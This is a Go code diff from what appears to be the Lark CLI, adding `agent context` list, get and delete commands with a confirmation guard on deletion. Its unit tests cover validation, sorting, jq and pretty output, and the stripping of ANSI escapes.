t.Fatal("an unknown scheme should error")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T", err)
}
p, _ := errs.ProblemOf(err)
if p == nil || !strings.Contains(p.Hint, "agent list") {
t.Errorf("unknown-scheme hint should point to `agent list`, got %+v", p)
}
}
// TestResolveSpec_UnknownCatalogID rejects an unknown catalog entry id — the
// framework validates it offline (a change from the old construct-only path).
func TestResolveSpec_UnknownCatalogID(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
cmd := resolveCmd(t, true, "bot")
_, spec, _, _, err := resolveSpec(f, cmd, "example:nope", "bot")
if err == nil || spec != nil {
t.Fatal("an unknown catalog id should error with a nil spec")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T", err)
}
}
// TestResolveSpec_IdentityRejected fails the user|bot whitelist when an
// unsupported --as is explicitly requested; no spec is returned.
func TestResolveSpec_IdentityRejected(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
cmd := resolveCmd(t, true, "admin")
_, spec, _, _, err := resolveSpec(f, cmd, "example:echo", "admin")
if err == nil {
t.Fatal("an unsupported identity should error")
}
if spec != nil {
t.Error("should not return a spec when identity validation fails")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T", err)
}
}
// TestRuntimeFor_APIClientError surfaces a NewAPIClient failure (Config error).
func TestRuntimeFor_APIClientError(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
f.Config = func() (*core.CliConfig, error) { return nil, errors.New("config boom") }
if _, err := runtimeFor(f, core.AsBot, "echo"); err == nil {
t.Fatal("a Config error should propagate")
}
}
// unconfiguredFactory returns a Factory whose Config() errors (simulating a
// fresh install that hasn't run `config init`), so NewAPIClient fails. Used to
// pin that the API-free paths never reach the config gate.
func unconfiguredFactory(t *testing.T) *cmdutil.Factory {
t.Helper()
f, _, _, _ := cmdutil.TestFactory(t, nil)
f.Config = func() (*core.CliConfig, error) { return nil, errors.New("not configured") }
return f
}
// TestResolveSpec_WorksWhenUnconfigured guards the acceptance regression: offline
// resolution must NOT touch NewAPIClient, so it succeeds even when Config errors,
// while runtimeFor (the client path) still fails at the config gate.
func TestResolveSpec_WorksWhenUnconfigured(t *testing.T) {
f := unconfiguredFactory(t)
cmd := resolveCmd(t, true, "bot")
_, spec, _, id, err := resolveSpec(f, cmd, "example:echo", "bot")
if err != nil {
t.Fatalf("offline resolution should succeed when unconfigured: %v", err)
}
if spec == nil || id != core.AsBot {
t.Fatalf("should return spec + bot identity, got spec=%v id=%s", spec, id)
}
if _, err := runtimeFor(f, id, "echo"); err == nil {
t.Fatal("the client path (runtimeFor) should error when unconfigured (config gate)")
}
}
// TestResolveSpec_ValidatesRefBeforeConfig pins that a malformed ref / unknown
// scheme is a validation error (exit 2) even when unconfigured — it must not be
// masked by not_configured.
func TestResolveSpec_ValidatesRefBeforeConfig(t *testing.T) {
f := unconfiguredFactory(t)
cmd := resolveCmd(t, true, "bot")
for _, ref := range []string{"no-colon", "nope:agt_x"} {
_, _, _, _, err := resolveSpec(f, cmd, ref, "bot")
if err == nil {
t.Fatalf("ref %q should also report a validation error when unconfigured", ref)
}
if !errs.IsValidation(err) {
t.Fatalf("ref %q should be a validation error, got %T", ref, err)
}
}
}
// TestAgentCardRun_WorksUnconfigured guards the acceptance regression: `agent
// card` is statically synthesized and must succeed unconfigured, never hitting
// the config gate.
func TestAgentCardRun_WorksUnconfigured(t *testing.T) {
f := unconfiguredFactory(t)
cmd := resolveCmd(t, true, "bot")
if err := agentCardRun(&cardOptions{Factory: f, Cmd: cmd, Ref: "example:echo", As: "bot", Format: "json"}); err != nil {
t.Fatalf("agent card should succeed when unconfigured (API-free): %v", err)
}
}
// TestAgentSendRun_DryRunWorksUnconfigured guards the acceptance regression:
// `agent send --dry-run` is a client-side preview and must succeed
// unconfigured — the example echo card declares no parameters, so no --param is
// needed. A malformed --param must still surface as validation, unconfigured.
func TestAgentSendRun_DryRunWorksUnconfigured(t *testing.T) {
f := unconfiguredFactory(t)
cmd := resolveCmd(t, true, "bot")
err := agentSendRun(&sendOptions{
Factory: f, Cmd: cmd, Ref: "example:echo", Text: "hi", DryRun: true, As: "bot",
})
if err != nil {
t.Fatalf("send --dry-run should succeed when unconfigured: %v", err)
}
// A malformed --param (no '=') is still a validation error, unconfigured.
err = agentSendRun(&sendOptions{
Factory: f, Cmd: cmd, Ref: "example:echo", Text: "hi",
Params: []string{"noequals"}, DryRun: true, As: "bot",
})
if err == nil || !errs.IsValidation(err) {
t.Fatalf("a malformed --param should report a validation error when unconfigured, got %v", err)
}
}

247
cmd/agent/context.go Normal file
View File

@@ -0,0 +1,247 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"fmt"
"io"
"sort"
"github.com/spf13/cobra"
iagent "github.com/larksuite/cli/internal/agent"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/output"
)
// contextOptions holds all inputs for the `agent context list|get|delete`
// leaves. A single struct backs all three so the shared fields (Factory, Cmd,
// Ref, As) are wired once; each RunE reads only the fields its verb needs.
type contextOptions struct {
Factory *cmdutil.Factory
Cmd *cobra.Command
Ref string
CtxID string
Yes bool
As string
Format string
}
// NewCmdAgentContext builds the `agent context` command group: manage a remote
// agent's multi-turn contexts (each verb gated on its own capability:
// context_list / context_get / context_delete). It is a pure group with
// no RunE so an unknown subcommand is reported rather than silently swallowed.
func NewCmdAgentContext(f *cmdutil.Factory) *cobra.Command {
cmd := &cobra.Command{
Use: "context",
Short: "Manage a remote agent's multi-turn contexts (sessions)",
Long: "context list <agent_ref> lists sessions; context get <agent_ref> <ctx-id> shows session detail; context delete <agent_ref> <ctx-id> deletes a session (high-risk, needs --yes).",
}
cmd.AddCommand(NewCmdAgentContextList(f))
cmd.AddCommand(NewCmdAgentContextGet(f))
cmd.AddCommand(NewCmdAgentContextDelete(f))
return cmd
}
// NewCmdAgentContextList builds `agent context list <ref>`: enumerate the
// agent's multi-turn contexts into {contexts:[...]} with a meta.count. Risk=read.
func NewCmdAgentContextList(f *cmdutil.Factory) *cobra.Command {
opts := &contextOptions{Factory: f}
cmd := &cobra.Command{
Use: "list <agent_ref>",
Short: "List a remote agent's multi-turn contexts",
Long: "List the multi-turn contexts (sessions) of the agent addressed by agent_ref.",
Args: exactArgsWithUsage(1),
RunE: func(cmd *cobra.Command, args []string) error {
if err := validateFormat(opts.Format); err != nil {
return err
}
opts.Cmd = cmd
opts.Ref = args[0]
return agentContextListRun(opts)
},
}
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
addAsFlag(cmd, f, &opts.As)
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
return cmd
}
// NewCmdAgentContextGet builds `agent context get <ref> <ctx-id>`: fetch a
// single context's detail. Risk=read.
func NewCmdAgentContextGet(f *cmdutil.Factory) *cobra.Command {
opts := &contextOptions{Factory: f}
cmd := &cobra.Command{
Use: "get <agent_ref> <ctx-id>",
Short: "Show the detail of a single multi-turn context",
Long: "Show the detail of the multi-turn context ctx-id under the agent addressed by agent_ref.",
Args: exactArgsWithUsage(2),
RunE: func(cmd *cobra.Command, args []string) error {
if err := validateFormat(opts.Format); err != nil {
return err
}
opts.Cmd = cmd
opts.Ref = args[0]
opts.CtxID = args[1]
return agentContextGetRun(opts)
},
}
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
addAsFlag(cmd, f, &opts.As)
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
return cmd
}
// NewCmdAgentContextDelete builds `agent context delete <ref> <ctx-id>`: destroy
// a multi-turn context. Deletion is irreversible, so it is high-risk-write and
// requires --yes; without it the command returns a confirmation_required error
// (exit 10) before touching the API. Risk=high-risk-write.
func NewCmdAgentContextDelete(f *cmdutil.Factory) *cobra.Command {
opts := &contextOptions{Factory: f}
cmd := &cobra.Command{
Use: "delete <agent_ref> <ctx-id>",
Short: "Delete a remote agent's multi-turn context (high-risk, needs --yes)",
Long: "Delete the multi-turn context ctx-id under the agent addressed by agent_ref. Deletion is irreversible and requires --yes to confirm; otherwise it returns confirmation_required (exit 10).",
Args: exactArgsWithUsage(2),
RunE: func(cmd *cobra.Command, args []string) error {
if err := validateFormat(opts.Format); err != nil {
return err
}
opts.Cmd = cmd
opts.Ref = args[0]
opts.CtxID = args[1]
return agentContextDeleteRun(opts)
},
}
cmd.Flags().BoolVar(&opts.Yes, "yes", false, "确认删除(高危操作,不加则返回 exit 10")
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
addAsFlag(cmd, f, &opts.As)
cmdutil.SetRisk(cmd, cmdutil.RiskHighRiskWrite)
return cmd
}
// agentContextListRun runs `context list`: resolves the provider, lists
// contexts, sorts them newest-first by UpdatedAt, and emits {contexts:[...]}
// with meta.count through content-safety scanning (the rollup is derived from
// untrusted agent activity).
func agentContextListRun(opts *contextOptions) error {
f := opts.Factory
_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
if err != nil {
return err
}
// Capability gate BEFORE the client: context_list is derived from ListContexts
// being wired, so a spec without it returns unsupported_capability offline.
if spec.ListContexts == nil {
return capabilityError(opts.Ref, "context list", iagent.CapContextList)
}
rt, err := runtimeFor(f, id, agentID)
if err != nil {
return err
}
// Local scope preflight: after runtimeFor, before the API call.
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
return err
}
contexts, err := spec.ListContexts(opts.Cmd.Context(), rt)
if err != nil {
return err
}
// Newest-first: sort by UpdatedAt (RFC3339 UTC) descending; a stable sort
// preserves the provider's relative order for equal timestamps, and contexts
// with no timestamp sort last.
sort.SliceStable(contexts, func(i, j int) bool { return contexts[i].UpdatedAt > contexts[j].UpdatedAt })
if contexts == nil {
contexts = []iagent.ContextSummary{} // always emit [] not null (matches the Card.Parameters array convention)
}
return scanAndEmitData(f, opts.Cmd, opts.Format,
map[string]interface{}{"contexts": contexts},
&output.Meta{Count: len(contexts)},
func(w io.Writer) { printContextsTSV(w, contexts) })
}
// agentContextGetRun runs `context get`: resolves the provider, fetches the
// context detail (metadata + rollup + the single active_task, NOT the full task
// list), derives the active task's IsTerminal, and emits it through
// content-safety scanning (active_task.Summary is untrusted agent text).
func agentContextGetRun(opts *contextOptions) error {
f := opts.Factory
_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
if err != nil {
return err
}
// Capability gate BEFORE the client.
if spec.GetContext == nil {
return capabilityError(opts.Ref, "context get", iagent.CapContextGet)
}
rt, err := runtimeFor(f, id, agentID)
if err != nil {
return err
}
// Local scope preflight: after runtimeFor, before the API call.
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
return err
}
detail, err := spec.GetContext(opts.Cmd.Context(), rt, opts.CtxID)
if err != nil {
return err
}
if detail != nil && detail.ActiveTask != nil {
// Derive IsTerminal from State (single source of truth) for the active task
// summary before emission — the provider only fills State.
detail.ActiveTask.IsTerminal = detail.ActiveTask.State.IsTerminal()
}
return scanAndEmitData(f, opts.Cmd, opts.Format, detail, nil,
func(w io.Writer) { printContextDetailPretty(w, detail) })
}
// agentContextDeleteRun runs `context delete`. The --yes confirmation guard runs
// first so a missing confirmation returns confirmation_required (exit 10) before
// any provider is built and holds even under a nil Factory. Only a
// confirmed delete reaches resolveSpec + DeleteContext.
func agentContextDeleteRun(opts *contextOptions) error {
if !opts.Yes {
return cmdutil.RequireConfirmation("agent context delete")
}
f := opts.Factory
_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
if err != nil {
return err
}
// Capability gate BEFORE the client.
if spec.DeleteContext == nil {
return capabilityError(opts.Ref, "context delete", iagent.CapContextDelete)
}
rt, err := runtimeFor(f, id, agentID)
if err != nil {
return err
}
// Local scope preflight: after runtimeFor, before the API call.
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
return err
}
if err := spec.DeleteContext(opts.Cmd.Context(), rt, opts.CtxID); err != nil {
return err
}
// pretty is a human view only; a --jq expression implies structured JSON.
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
fmt.Fprintf(f.IOStreams.Out, "context_id: %s\ndeleted: true\n", kvValue(opts.CtxID))
return nil
}
env := output.Envelope{
OK: true,
Identity: string(id),
Data: map[string]interface{}{"context_id": opts.CtxID, "deleted": true},
Notice: output.GetNotice(),
}
if jq := jqExpr(opts.Cmd); jq != "" {
return output.JqFilter(f.IOStreams.Out, env, jq)
}
output.PrintJson(f.IOStreams.Out, env)
return nil
}

529
cmd/agent/context_test.go Normal file
View File

@@ -0,0 +1,529 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"context"
"encoding/json"
"strings"
"testing"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagent "github.com/larksuite/cli/internal/agent"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/httpmock"
"github.com/larksuite/cli/internal/output"
)
// contextCmdCtx builds a `lark-cli agent context <leaf>` command whose --as flag
// is set to bot so ResolveAs honors it verbatim, and carries a context.
func contextCmdCtx(t *testing.T, leaf string) *cobra.Command {
t.Helper()
root := &cobra.Command{Use: "lark-cli"}
group := &cobra.Command{Use: "agent"}
grp := &cobra.Command{Use: "context"}
l := &cobra.Command{Use: leaf}
root.AddCommand(group)
group.AddCommand(grp)
grp.AddCommand(l)
l.Flags().String("as", "", "identity")
if err := l.Flags().Set("as", "bot"); err != nil {
t.Fatal(err)
}
l.SetContext(context.Background())
return l
}
// contextTestOpts wires a contextOptions against a real (test) Factory,
// addressing the scripted fakeflow agent agt_x under a bot identity. The
// Factory's httpmock registry holds zero stubs, so any HTTP attempt fails the
// test; provider behavior is scripted via setScripted.
func contextTestOpts(t *testing.T, leaf string) (*contextOptions, *httpmock.Registry) {
t.Helper()
registerScripted()
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
f, _, _, reg := cmdutil.TestFactory(t, cfg)
return &contextOptions{
Factory: f,
Cmd: contextCmdCtx(t, leaf),
Ref: "fakeflow:agt_x",
As: "bot",
}, reg
}
// TestContextDeleteRequiresYes pins that `context delete` without --yes is a
// confirmation_required error (exit 10), raised before any provider is built.
func TestContextDeleteRequiresYes(t *testing.T) {
err := agentContextDeleteRun(&contextOptions{Ref: "example:agt_x", CtxID: "c1", Yes: false})
if err == nil {
t.Fatal("context delete without --yes should report confirmation_required")
}
if !errs.IsConfirmationRequired(err) {
t.Fatalf("should be a confirmation_required error, got %T", err)
}
if code := output.ExitCodeOf(err); code != output.ExitConfirmationRequired {
t.Fatalf("exit code should be 10, got %d", code)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeConfirmationRequired {
t.Fatalf("subtype should be confirmation_required, got %+v", p)
}
}
// TestContextDeleteWithYes pins the confirmed path: --yes reaches the provider,
// deletes the session, and emits a success envelope.
func TestContextDeleteWithYes(t *testing.T) {
opts, _ := contextTestOpts(t, "delete")
opts.CtxID = "sess_1"
opts.Yes = true
var deleted string
setScripted(t, scriptedHooks{deleteContext: func(ctxID string) error {
deleted = ctxID
return nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentContextDeleteRun(opts); err != nil {
t.Fatalf("context delete --yes should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
}
data, _ := env.Data.(map[string]interface{})
if data["context_id"] != "sess_1" || data["deleted"] != true {
t.Errorf("data should echo {context_id, deleted:true}, got %v", env.Data)
}
if deleted != "sess_1" {
t.Errorf("provider should receive the context id to delete, got %q", deleted)
}
}
// TestContextDeleteProviderError surfaces a provider DeleteContext failure
// (non-zero business code) after --yes passes.
func TestContextDeleteProviderError(t *testing.T) {
opts, _ := contextTestOpts(t, "delete")
opts.CtxID = "sess_1"
opts.Yes = true
setScripted(t, scriptedHooks{deleteContext: func(string) error {
return errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
}})
if err := agentContextDeleteRun(opts); err == nil {
t.Fatal("a DeleteContext error should propagate")
}
}
// TestContextDeleteInvalidRef surfaces a malformed ref as a validation error
// after the --yes confirmation guard passes.
func TestContextDeleteInvalidRef(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
err := agentContextDeleteRun(&contextOptions{Ref: "no-colon", CtxID: "c1", Yes: true, Cmd: contextCmdCtx(t, "delete"), As: "bot", Factory: f})
if err == nil {
t.Fatal("malformed ref should error")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T", err)
}
}
// TestContextListEmitsContexts pins that `context list` returns
// {contexts:[...]} with a meta.count.
func TestContextListEmitsContexts(t *testing.T) {
opts, _ := contextTestOpts(t, "list")
setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
return []iagent.ContextSummary{
{ContextID: "sess_1", Title: "销售分析", CreatedAt: "2026-07-05T10:01:11+08:00"},
{ContextID: "sess_2"},
}, nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentContextListRun(opts); err != nil {
t.Fatalf("context list should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
}
data, _ := env.Data.(map[string]interface{})
contexts, ok := data["contexts"].([]interface{})
if !ok || len(contexts) != 2 {
t.Fatalf("data.contexts should have 2 entries, got %v", data["contexts"])
}
if env.Meta == nil || env.Meta.Count != 2 {
t.Errorf("meta.count should be 2, got %+v", env.Meta)
}
}
// TestContextListSortedByUpdatedAtDesc pins the ordering + enriched-field
// contract: the provider returns contexts out of order, and the command emits
// them newest-first by updated_at while carrying the updated_at / task_count /
// awaiting_input rollup for each.
func TestContextListSortedByUpdatedAtDesc(t *testing.T) {
opts, _ := contextTestOpts(t, "list")
setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
return []iagent.ContextSummary{
{ContextID: "old", UpdatedAt: "2026-07-05T10:00:00Z", TaskCount: 1},
{ContextID: "new", UpdatedAt: "2026-07-05T12:00:00Z", TaskCount: 3, AwaitingInput: true},
{ContextID: "mid", UpdatedAt: "2026-07-05T11:00:00Z", TaskCount: 2},
}, nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentContextListRun(opts); err != nil {
t.Fatalf("context list should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
}
data, _ := env.Data.(map[string]interface{})
contexts, ok := data["contexts"].([]interface{})
if !ok || len(contexts) != 3 {
t.Fatalf("data.contexts should have 3 entries, got %v", data["contexts"])
}
want := []string{"new", "mid", "old"}
for i, w := range want {
c, _ := contexts[i].(map[string]interface{})
if c["context_id"] != w {
t.Errorf("contexts[%d].context_id should be %q (newest-first), got %v", i, w, c["context_id"])
}
}
first, _ := contexts[0].(map[string]interface{})
if first["updated_at"] != "2026-07-05T12:00:00Z" {
t.Errorf("contexts[0].updated_at should be carried, got %v", first["updated_at"])
}
if first["task_count"] != float64(3) {
t.Errorf("contexts[0].task_count should be 3, got %v", first["task_count"])
}
if first["awaiting_input"] != true {
t.Errorf("contexts[0].awaiting_input should be true, got %v", first["awaiting_input"])
}
}
// TestContextListError surfaces a provider ListContexts failure.
func TestContextListError(t *testing.T) {
opts, _ := contextTestOpts(t, "list")
setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
return nil, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
}})
if err := agentContextListRun(opts); err == nil {
t.Fatal("a ListContexts error should propagate")
}
}
// TestContextListInvalidRef surfaces a malformed ref as a validation error.
func TestContextListInvalidRef(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
err := agentContextListRun(&contextOptions{Ref: "no-colon", Cmd: contextCmdCtx(t, "list"), As: "bot", Factory: f})
if err == nil {
t.Fatal("malformed ref should error")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T", err)
}
}
// TestContextGetEmitsDetail pins the enriched `context get` shape: metadata +
// the task_count / awaiting_input rollup + a single active_task — and NO longer
// a full tasks[] array (that moved to `agent task list --context-id`). The
// active task's is_terminal is derived from State (input_required ⇒ false).
func TestContextGetEmitsDetail(t *testing.T) {
opts, _ := contextTestOpts(t, "get")
opts.CtxID = "sess_1"
setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagent.ContextDetail, error) {
return &iagent.ContextDetail{
ContextID: ctxID, Title: "销售分析", CreatedAt: "2026-07-05T10:01:11+08:00",
UpdatedAt: "2026-07-05T12:00:00+08:00", TaskCount: 2, AwaitingInput: true,
ActiveTask: &iagent.TaskSummary{
TaskID: "chat_2", State: iagent.StateInputRequired,
UpdatedAt: "2026-07-05T12:00:00+08:00", Summary: "请提供季度",
},
}, nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentContextGetRun(opts); err != nil {
t.Fatalf("context get should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
}
data, _ := env.Data.(map[string]interface{})
if data["context_id"] != "sess_1" {
t.Errorf("data.context_id should be sess_1, got %v", data["context_id"])
}
if data["title"] != "销售分析" {
t.Errorf("data.title should be echoed, got %v", data["title"])
}
if data["task_count"] != float64(2) {
t.Errorf("data.task_count should be 2, got %v", data["task_count"])
}
if data["awaiting_input"] != true {
t.Errorf("data.awaiting_input should be true, got %v", data["awaiting_input"])
}
if _, hasTasks := data["tasks"]; hasTasks {
t.Errorf("context get should no longer embed a tasks[] array, got %v", data["tasks"])
}
active, ok := data["active_task"].(map[string]interface{})
if !ok {
t.Fatalf("data.active_task should be present, got %v", data["active_task"])
}
if active["task_id"] != "chat_2" {
t.Errorf("active_task.task_id should be chat_2, got %v", active["task_id"])
}
if active["is_terminal"] != false {
t.Errorf("active_task.is_terminal should be derived from State (input_required ⇒ false), got %v", active["is_terminal"])
}
if active["summary"] != "请提供季度" {
t.Errorf("active_task.summary should carry the pending prompt, got %v", active["summary"])
}
}
// TestContextGetError surfaces a provider GetContext failure.
func TestContextGetError(t *testing.T) {
opts, _ := contextTestOpts(t, "get")
opts.CtxID = "sess_1"
setScripted(t, scriptedHooks{getContext: func(string) (*iagent.ContextDetail, error) {
return nil, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
}})
if err := agentContextGetRun(opts); err == nil {
t.Fatal("a GetContext error should propagate")
}
}
// TestContextGetInvalidRef surfaces a malformed ref as a validation error.
func TestContextGetInvalidRef(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
err := agentContextGetRun(&contextOptions{Ref: "no-colon", CtxID: "c1", Cmd: contextCmdCtx(t, "get"), As: "bot", Factory: f})
if err == nil {
t.Fatal("malformed ref should error")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T", err)
}
}
// TestContextListWithJq pins the --jq output branch for list: the filtered
// value (not the full envelope) is what reaches stdout.
func TestContextListWithJq(t *testing.T) {
opts, _ := contextTestOpts(t, "list")
opts.Cmd.Flags().String("jq", ".data.contexts | length", "")
setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
return []iagent.ContextSummary{{ContextID: "sess_1"}}, nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentContextListRun(opts); err != nil {
t.Fatalf("context list --jq should not error: %v", err)
}
got := strings.TrimSpace(string(out.Bytes()))
if got != "1" {
t.Errorf("--jq .data.contexts | length should output 1, got %q", got)
}
if strings.Contains(got, `"ok"`) {
t.Errorf("--jq output should be the filtered value, not the full envelope, got %q", got)
}
}
// TestContextListEmptyEmitsArray pins the array convention: an empty context
// list serializes as [] (never null), matching Card.Parameters.
func TestContextListEmptyEmitsArray(t *testing.T) {
opts, _ := contextTestOpts(t, "list")
setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
return nil, nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentContextListRun(opts); err != nil {
t.Fatalf("context list should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
}
data, _ := env.Data.(map[string]interface{})
v, present := data["contexts"]
if !present {
t.Fatal("data.contexts key should be present")
}
if _, ok := v.([]interface{}); !ok {
t.Errorf("empty context list should emit a JSON array (not null), got %T: %v", v, v)
}
if env.Meta == nil || env.Meta.Count != 0 {
t.Errorf("meta.count should be 0, got %+v", env.Meta)
}
}
// TestContextListPretty exercises the --format pretty human-view branch for
// list: header TSV rows (not a JSON envelope), with the agent-controlled Title
// stripped of ANSI escapes.
func TestContextListPretty(t *testing.T) {
opts, _ := contextTestOpts(t, "list")
opts.Format = "pretty"
setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
return []iagent.ContextSummary{
{ContextID: "sess_1", Title: "\x1b[2J销售分析", CreatedAt: "2026-07-05T10:01:11+08:00"},
}, nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentContextListRun(opts); err != nil {
t.Fatalf("context list --format pretty should not error: %v", err)
}
s := string(out.Bytes())
if !strings.HasPrefix(s, "CONTEXT_ID\tCREATED_AT\tUPDATED_AT\tTITLE\tTASK_COUNT\tAWAITING_INPUT\n") {
t.Errorf("pretty output should start with a header row, got %q", s)
}
if !strings.Contains(s, "sess_1") || !strings.Contains(s, "销售分析") {
t.Errorf("pretty output should contain context_id and title, got %q", s)
}
if strings.Contains(s, "\x1b") {
t.Errorf("ANSI sequences in Title must be stripped: %q", s)
}
if strings.Contains(s, `"ok"`) {
t.Errorf("pretty output should be a human view, not a JSON envelope, got %q", s)
}
}
// TestContextGetWithJq pins the added --jq flag on context get: the envelope is
// filtered through the jq expression.
func TestContextGetWithJq(t *testing.T) {
opts, _ := contextTestOpts(t, "get")
opts.CtxID = "sess_1"
opts.Cmd.Flags().String("jq", "", "")
if err := opts.Cmd.Flags().Set("jq", ".data.context_id"); err != nil {
t.Fatal(err)
}
setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagent.ContextDetail, error) {
return &iagent.ContextDetail{ContextID: ctxID}, nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentContextGetRun(opts); err != nil {
t.Fatalf("context get --jq should not error: %v", err)
}
got := strings.TrimSpace(string(out.Bytes()))
if !strings.Contains(got, "sess_1") || strings.Contains(got, `"ok"`) {
t.Errorf("--jq .data.context_id should output only the filtered result, got %q", got)
}
}
// TestContextGetPretty pins the --format pretty branch on context get: key:
// value lines with the task_count / awaiting_input rollup + a one-line
// active_task digest, title ANSI-stripped, and no full tasks[] list.
func TestContextGetPretty(t *testing.T) {
opts, _ := contextTestOpts(t, "get")
opts.CtxID = "sess_1"
opts.Format = "pretty"
setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagent.ContextDetail, error) {
return &iagent.ContextDetail{
ContextID: ctxID, Title: "\x1b[31m销售分析\x1b[0m",
TaskCount: 1, AwaitingInput: false,
ActiveTask: &iagent.TaskSummary{
TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true, Summary: "分析完成",
},
}, nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentContextGetRun(opts); err != nil {
t.Fatalf("context get --format pretty should not error: %v", err)
}
s := string(out.Bytes())
for _, want := range []string{"context_id: sess_1", "title: 销售分析", "task_count: 1", "active_task: completed"} {
if !strings.Contains(s, want) {
t.Errorf("pretty output should contain %q, got %q", want, s)
}
}
if strings.Contains(s, "\x1b") {
t.Errorf("ANSI sequences in title must be stripped: %q", s)
}
if strings.Contains(s, "tasks:") {
t.Errorf("context get pretty should no longer render a tasks[] list, got %q", s)
}
}
// findSub returns the direct subcommand of cmd whose Name() == name, or nil.
func findSub(cmd *cobra.Command, name string) *cobra.Command {
for _, c := range cmd.Commands() {
if c.Name() == name {
return c
}
}
return nil
}
// TestNewCmdAgentContext_GroupHasSubcommands pins the group is a pure group (no
// RunE) with list/get/delete leaves.
func TestNewCmdAgentContext_GroupHasSubcommands(t *testing.T) {
cmd := NewCmdAgentContext(nil)
if cmd.RunE != nil || cmd.Run != nil {
t.Error("agent context group should not have RunE")
}
want := []string{"list", "get", "delete"}
for _, name := range want {
if findSub(cmd, name) == nil {
t.Errorf("missing subcommand context %s", name)
}
}
}
// TestNewCmdAgentContextList_ReadRisk pins list = read risk, ExactArgs(1), and
// the default flip: --format defaults to json.
